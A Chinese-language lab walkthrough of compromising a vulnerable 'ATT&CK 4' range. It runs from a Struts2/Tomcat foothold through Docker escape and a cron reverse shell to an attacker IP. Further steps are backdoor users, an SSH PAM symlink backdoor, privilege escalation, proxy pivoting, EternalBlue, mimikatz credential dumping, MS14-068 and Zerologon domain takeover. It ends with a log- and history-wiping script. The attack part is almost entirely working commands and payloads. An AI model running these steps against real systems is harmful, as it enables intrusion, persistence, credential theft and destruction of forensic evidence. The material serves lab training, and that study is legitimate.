ATT&CK(四)

image-20220925155418617

image-20220925155237074

image-20220925160858951

image-20220925161118813

image-20220925161124751

image-20220925161132594

image-20220925161202301

win7
douser Dotest123
web
ubuntu ubuntu
DC
administrator Test2008

image-20220925161853990

image-20220925162241703

docker ps -a
docker start ec814f6ee002
docker start 174745108fcb
docker start 09dd4e5bfa91

探测服务

先探测下ip

nmap 192.168.157.0/24

image-20220925230334795

struts2

发现是struts2 程序 直接扫

image-20220925231341963

image-20220925231332744

image-20220926090337764

传个冰蝎马

image-20220926090457514

image-20220926094711050

弹给msf

image-20220926094916894

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

image-20220926094936401

172 开头的

image-20220926095148653

推测是docker的

image-20220926095232231

判断docker方法

  1. 查看是否存在dockerrnv文件

    ls -a /.dockerenv

    image-20220926095711311

  2. 查看系统进程的cgroup信息

    cat /proc/self/cgroup

    image-20220926095821211

tomcat

image-20220926111147011

searchsploit tomcat 8.5.19

image-20220926111207736

searchsploit -m jsp/webapps/42966.py

image-20220926111304530

python3 42966.py -u http://192.168.157.128:2002/

image-20220926111350685

image-20220926111404427

直接返回shell

python3 42966.py -u http://192.168.157.128:2002/ -p pwn

image-20220926111530083

手动测试

image-20220926113417574

image-20220926113430947

传个马

image-20220926113644022

image-20220926113652040

use exploit/multi/handler 
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

image-20220926114028417

image-20220926114017914

image-20220926114053645

phpmyadmin

image-20220926154224256

本地自己拉了一个vulnhub的靶场

image-20220926154258977

image-20220926154308877

image-20220926155256447

第二个payload

image-20220926155549027

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20220926155616429

看下别人的分析

存在包含的位置

if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

这里都比较好理解 1.需要是字符串 2.正则不能是index开头 3.不在$target_blacklist黑名单里面 4.checkPageValidity方法为True

public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}
      #这里的$page需要在白名单内

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
    #有一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

白名单

image-20220926160409754

这里的代码就写的 嗯…

$_page = urldecode($page);
    #有一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

image-20220926160558396

在test表中,插入一句话

image-20220926161922174

image-20220926162007394

image-20220926161127046

index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_1118e8c49e1a158d636d3fe1792c6cc8

image-20220926162034798

docker逃逸

挂载目录

这里通过struts2 拿到的shell获取磁盘文件为空,所以利用不了

image-20220926173052975

但是tomcat可以

fdisk -l

image-20220926173111454

ls /dev

image-20220926182508651

mkdir test

image-20220926183542190

mount /dev/sda1 /test
将sda1挂载到test文件夹下

image-20220926183753636

写入公钥

ssh-keygen -f tmp

image-20220926184001161

chmod 600 tmp
cat tmp.pub

image-20220926184222650

ls /test/home
ls -alh /test/home/ubuntu
查看ubuntu目录所有的文件

image-20220926184342575

这里可以看到这个 .ssh目录 我们要将ssh私钥写入到 .ssh 目录里面并将文件名命名为 authorized_keys 而且.ssh 目录的权限必须为700

使用如下命令写入ssh私钥

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys 

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1bjVJHesvB4eod522ItIhDUr77COuIVK7XVZi9yzkUHQ2TWnVpbdIfjQOsKNNn6Vs45BKrVJyiffmPGPLIgJJq8jvNWQ9/dsYeH7TUz37/N42CoQ6iLDBfjW3dmG0/78BUS0Y5MTWVYh9VSVPLP4gEbUwgE82L9sZXNAXG6+EZsFNGuvfGXK2Gjijvp40muNCpIUxjXSRBPkHGZuGNp3rM2MXHdBuTsbM8wutMwum45SO7e4YziJizUYlfhO1otLvFLSfdfZP0nmvpCYHhoaICUpEvvA/RNLhSf8tgnXT3VZyeBcXnVhxphY6mHPCbcVe5bCgHtHweZx4yl2WGIbq6sRCGxDClsZf44FJB8QAw6PYifkmhTmAl35j58KuJ/YRC75eewnWc3jUKxTCSLCTGAc/Oogi81clb0F4xdxtjhJgSPrcmC6u0UtlOe7tz3VEAk6206Kl0/m8HExMYtIqec0JR/YqKvIpyFw4bgbySIAxSpCb1+8+g7O7VAXS4i8= root@kali' >> authorized_keys

这里写进去了发现也是需要密码的 自己测试的时候也是

image-20220926215341862

添加新用户

这里使用另一个方式

先建一个强密码用户 需要在ubuntu上面创建

useradd -s /bin/bash wanan

image-20220926223141577

image-20220926223226450

echo 'wanan:x:1002:1002::/home/wanan:/bin/bash' >> /test/etc/passwd
echo 'wanan:$6$wx/tJmeWcAniLelk$tZmXA7hCMamP9elzhIXdQG.BbFBxLbBxJqch5rWJEf8i7W/VrSL2aqsaOn3j4ny7mEE6Zp6bxUiJb2mEyU9tT0:19261:0:99999:7:::' >> /test/etc/shadow

使用刚才创建的用户连接

image-20220926223304881

定时任务

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/5555 0>&1' >> /test/tmp/test.sh
cat /test/tmp/test.sh
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab

image-20220927164028753

略等一会 这个省了提权了

image-20220927164045346

ubuntu提权

写sudoers提权

ubuntu提权知识 ubuntu是用命令行执行命令.在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件 /etc/sudoers处加入普通用户放行语句,才可以让普通用户在ssh的情况下进行提权

echo "wanan ALL=(ALL:ALL) ALL" >> /test/etc/sudoers

image-20220926224632819

image-20220926224640275

exp提权

uname -a

image-20220926225907721

searchsploit ubuntu 4.4.0

image-20220926225938122

下载exp

https://github.com/briskets/CVE-2021-3493
gcc exploit.c -o exploit
./exploit

image-20220926225806803

msf模块

先上线

use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.130
run

image-20220927164507705

image-20220927164946257

image-20220927164955611

search suggester
use 0
options
set session 3
run

image-20220927165406330

1   exploit/linux/local/apport_abrt_chroot_priv_esc                     Yes                      The target appears to be vulnerable.
2 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/cve_2021_3493_overlayfs Yes The target appears to be vulnerable.
4 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
5 exploit/linux/local/cve_2022_0995_watch_queue Yes The target appears to be vulnerable.
6 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
7 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
8 exploit/linux/local/ptrace_traceme_pkexec_helper Yes The target appears to be vulnerable.
9 exploit/linux/local/su_login Yes The target appears to be vulnerable.
10 exploit/linux/local/sudo_baron_samedit Yes The target appears to be vulnerable. sudo 1.8.9.5 is a vulnerable build.

我们之间上这个 is vulnerable

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
options
set session 3
run

image-20220927165908465

上线web

image-20220927164412793

use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.130
run

image-20220927164507705

image-20220927164456500

ssh软连接后门

利用前提 ssh配置中开启了 pam进行身份认证 默认开启

cat /etc/ssh/sshd_config | grep UsePAM

image-20220927174726070

在启用了之后 当在pam配置文件中控制标志为sufficient时 ,只要pam_rootok.so 模块检测uid为 0 就可以成功认证登录 我们可以先看一下这个 pam_rootok.so

这个是su命令 也就是当我们是root时 我们切换其他用户时不需要密码的

image-20220927175022960

sshd很明显是需要密码的

image-20220927175121171

那么我们如果直接使用 /usr/sbin/sshd 去启动ssh服务的话 是默认使用的是 /etc/pam.d/sshd 的pam配置文件

我们来进行尝试 这里的 -o 其实是开启一个端口去监听

/usr/sbin/sshd -oPort=12345

image-20220927175547493

image-20220927175707225

那么我们将sshd 服务换一下名字 换成su 它就会去找对应在/etc/pam.d/su 的配置文件

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234

image-20220927180217407

ssh root@192.168.157.130 -p 1234

密码随便输

image-20220927180227525

那么同样的我们 也可以在 /etc/pam.d/ 下寻找其他带有 pam_rootok.so的文件

find /etc/pam.d |xargs grep "pam_rootok"  

image-20220927180421868

应急响应

查看服务器开放的端口号

netstat -antp

image-20220927180601672

发现异常的 su 端口 1234

ll /proc/59505

对应的服务是 sshd服务

image-20220927180737265

确定软连接后门文件

find / -name su
ll /tmp/su

image-20220927180937958

删除对应的软连接后门

rm -rf /tmp/su
kill 59505

image-20220927181128833

发现无法登录

image-20220927181135305

添加代理

这里的frp代理是后加的 使用msf代理win7是扫描不到的

msf代理模块

发现还有一张网卡

image-20220927181725468

run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p
bg

image-20220927182020907

use auxiliary/server/socks_proxy
set version 5
set srvhost 0.0.0.0
edit /etc/proxychains4.conf
run

image-20220927212938775

这里的问题可能存在这个srvhost 需要是 0.0.0.0 根据我的理解这里是我们允许去代理的 ip 也就是请求 ip 如果我们设置为 192.168.157.130 (kali) 那么也就是只会代理 kali的请求 而当win7 的请求发向kali时则会丢弃 所以会导致下面获取shell出现问题 而这里使用0.0.0.0 则会监听所有ip地址

image-20220927191018761

image-20220927191113215

proxychains curl http://192.168.183.133:2002

image-20220927191202134

win7

查看ip存活情况

use auxiliary/scanner/discovery/udp_probe 
set rhosts 192.168.183.1-255
set threads 20
run

image-20220927194140760

proxychains nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.129

image-20220927194716022

proxychains nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130

image-20220927194741855

可以看到开放了 445 端口

直接打一手 ms_07-010

这里注意 更改了 payload的类型 原因是这里可能是目标主机有防火墙限制 导致不能反向连接 我们使用正向连接的payload 这里打了很多次 ip有所变化 能不能打通全靠运气

use windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.134
set payload windows/x64/meterpreter/bind_tcp
options
run

image-20220927212845500

image-20220927212903849

frp代理

添加路由

run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p
bg

image-20220929094418266

wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz

image-20220928121111196

新版本不能使用注释

vim frps.ini 
[common]
bind_addr = 0.0.0.0
bind_port = 17000
dashboard_addr = 0.0.0.0
dashboard_port = 27500
dashboard_user = root
dashboard_pwd = toor
token = wanan
heartbeat_timeout = 90
max_pool_count = 5
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用户名
dashboard_pwd = toor #管理用户的密码
token = wanan #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间
max_pool_count = 5 #最大同时连接数

image-20220923120527027

./frps -c frps.ini

image-20220928121151232

ubuntu

image-20220928121034288

frpc.ini

新版本不能使用注释

vim frpc.ini
[common]
server_addr = 192.168.157.130
server_port = 17000
token = wanan
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 10000
plugin = socks5
use_encryption = true
use_compression = true
[common]
server_addr = 192.168.157.130  #kali的IP地址
server_port = 17000
token = wanan
pool_count = 5
protocol = tcp #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的协议
use_encryption = true #是否加密
use_compression = true

image-20220929123755329

./frpc -c frpc.ini

image-20220928121246924

vim /etc/proxychains4.conf

配置时注意添加密码

image-20220928121303354

第三天又不通了 回头发现是网卡的问题 重启一下两张网卡就好了

proxychains ping 192.168.183.134

image-20220928121324854

这里重新打ms17_010 的时候又出问题

use windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.141
set payload windows/x64/meterpreter/bind_tcp
options
run

image-20220928124047529

发现是火绒在搞事情

image-20220928124303960

关了之后一次通

image-20220928125439003

收集信息

sysinfo

image-20220928153022253

whoami

发现不在域下

image-20220928153628705

偷下 token

steal_token 308

image-20220928162108423

image-20220928162118582

chcp 65001
whoami

image-20220928162216712

net view /domain
Net group "domain controllers" /domain

image-20220928162257114

net time /domain

image-20220928162634114

ping WIN-ENS2VR5TR3N.demo.com

image-20220928162731454

开远程桌面

run post/windows/manage/enable_rdp

image-20220929202005555

rdesktop 192.168.183.134

image-20220929202102684

DC

MS14-068

use windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.130
set payload windows/x64/meterpreter/bind_tcp
options
run

这里域控没有打成功

image-20220927213512891

抓下密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

image-20220928153520125

没有拿到域控的密码

Domain    : DEMO.COM
User Name : douser
Password : Dotest123
SID : S-1-5-21-979886063-1111900045-1414766810-1107
NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e

查看补丁信息

wmic qfe get hotfixid

image-20220927225831067

微软针对 MS14-068 漏洞提供补丁为 KB3011780

下载一下 ms14-068.exe

http://blog.luckly-mjw.cn/tool-show/github-directory-downloader/index.html

https://github.com/abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe

https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe

image-20220927225637420

wget  https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe

image-20220927225704927

upload /root/MS14-068.exe

image-20220927230106324

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image-20220927230359989

上传mimikatz.exe

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
mimikatz.exe

image-20220927230746221

通过mimikatz.exe 导入tgt票据

kerberos::ptc TGT_douser@DEMO.COM.ccache

image-20220927230819340

dir \\WIN-ENS2VR5TR3N\c$

image-20220927231255556

exit

image-20220927231054969

置零攻击(cve-2020-1472)

exp https://github.com/risksense/zerologon

wget https://raw.githubusercontent.com/risksense/zerologon/master/set_empty_pw.py

image-20220928164552527

python3 set_empty_pw.py 域控名字 域控_ip,先将域控密码置零

python3 set_empty_pw.py WIN-ENS2VR5TR3N 192.168.183.130

image-20220929125651478

置零之后就可以使用impacket的secretsdump来空密码登录获取hash

下载一下impacket的secretsdump kali自带的报错

git clone https://github.com/SecureAuthCorp/impacket.git

image-20220929182349906

获取下hash

python3 secretsdump.py  demo/WIN-ENS2VR5TR3N$\@192.168.183.130 -no-pass 

image-20220929182052641

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:56876536089599949a617c8718c88a6a demo.com/administrator\@192.168.183.130 

image-20220929182739188

痕迹清除

清除命令历史记录

histroy -r          #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:

删除当天日志
sed -i '/当天日期/'d filename

一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

windows

1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。

MSF

run event_manager -i 查看日志
run event_manager -c 删除事件日志

https://www.freebuf.com/articles/web/340783.html

https://drunkmars.top/2021/08/09/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA4/#

https://txluck.github.io/2021/10/30/%E7%BA%A2%E6%97%A54/

https://kam1.cc/2022/06/07/%E7%BA%A2%E6%97%A5ATT&CK%E9%9D%B6%E5%9C%BA%20-%20%E5%9B%9B/

https://blog.csdn.net/qq_36241198/article/details/121619400

https://zhuanlan.zhihu.com/p/405809605